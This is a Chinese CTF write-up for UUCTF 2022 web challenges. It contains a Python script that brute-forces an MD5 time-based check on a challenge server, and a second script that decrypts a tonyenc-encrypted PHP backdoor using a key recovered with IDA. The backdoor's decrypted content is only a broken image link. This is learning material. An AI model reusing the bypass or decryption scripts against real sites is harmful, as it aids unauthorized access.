2022UUCTF--WEB( 四 ) _生活百科

$sub=substr($time,-1);$md5[0]=substr($md5[0],$sub);$guessmd5=md5($time);我们使用脚本快速请求就可以在传入md5[1]也是当前时间的md5值两者就相等
脚本
import hashlib,time,requestsdef guess_md5():while True:url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"resp = requests.get(url=url)if "win" in resp.text:print(resp.text)returntime.sleep(1)guess_md5()

文章插图
backdoor--tonyenc加密

这题我不太会哦没咋理解不是很会使用IDA

hint：backdoor.php是一个后门文件
打开题目说布里茨布里茨就是lol的机器人看robots.txt

文章插图

文章插图
下载源码，发现五个文件大致看下 robots.txtindex.php无信息

文章插图
看看backdoor.php的代码，根据提示他是一个后门文件那肯定是有连接后门的密码的，但是乱码又不知道

文章插图
到了这里属实是没啥思路看wp IDA逆向so文件

so文件是Linux下向当于Windows下的dll文件，Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据

发现了tonyenc_encode函数

文章插图
百度搜索这个是啥：

一个简洁、高性能、跨平台的 PHP7 代码加密扩展，当前版本为 0.2.2
就是对PHP7的代码进行加密的函数

百度搜一下找到git项目
GitHub - lihancong/tonyenc: 高性能、跨平台的 PHP7 代码加密扩展 (A high performance and cross-platform encrypt extension for PHP source code)
编译前请在 core.h 中做如下修改:

/* 这里定制你的加密特征头，不限长度，十六进制哦 */const u_char tonyenc_header[] = {0x66, 0x88, 0xff, 0x4f,0x68, 0x86, 0x00, 0x56,0x11, 0x16, 0x16, 0x18,};/* 这里指定密钥，长一些更安全 */const u_char tonyenc_key[] = {0x9f, 0x49, 0x52, 0x00,0x58, 0x9f, 0xff, 0x21,0x3e, 0xfe, 0xea, 0xfa,0xa6, 0x33, 0xf3, 0xc6,};

在IDA中找到对应的加密头和key

文章插图
根据github源码写解密py脚本

import base64header=[0x66, 0x88, 0xff, 0x4f,0x68, 0x86, 0x00, 0x56,0x11, 0x61, 0x16, 0x18,]key=[0x9f, 0x58, 0x54, 0x00,0x58, 0x9f, 0xff, 0x23,0x8e, 0xfe, 0xea, 0xfa,0xa6, 0x35, 0xf3, 0xc6]def decode(data,len):p =0for i in range(0,len):if (i & 1):p += key[p] + i;p %= 16;t = key[p];data[i] = ~data[i]^t;if data[i] < 0:data[i]=data[i]+256decode = "".join([chr(c) for c in data])return decodeencodefile=open('backdoor.php',"rb")base64_encodestr=base64.b64encode(encodefile.read())convert=[c for c in base64.b64decode(base64_encodestr)]del convert[0:len(header)]print(str(decode(convert,len(convert))))

解密得到backdoor.php文件内容为
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gEwEUhZ0-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103154452619.png)]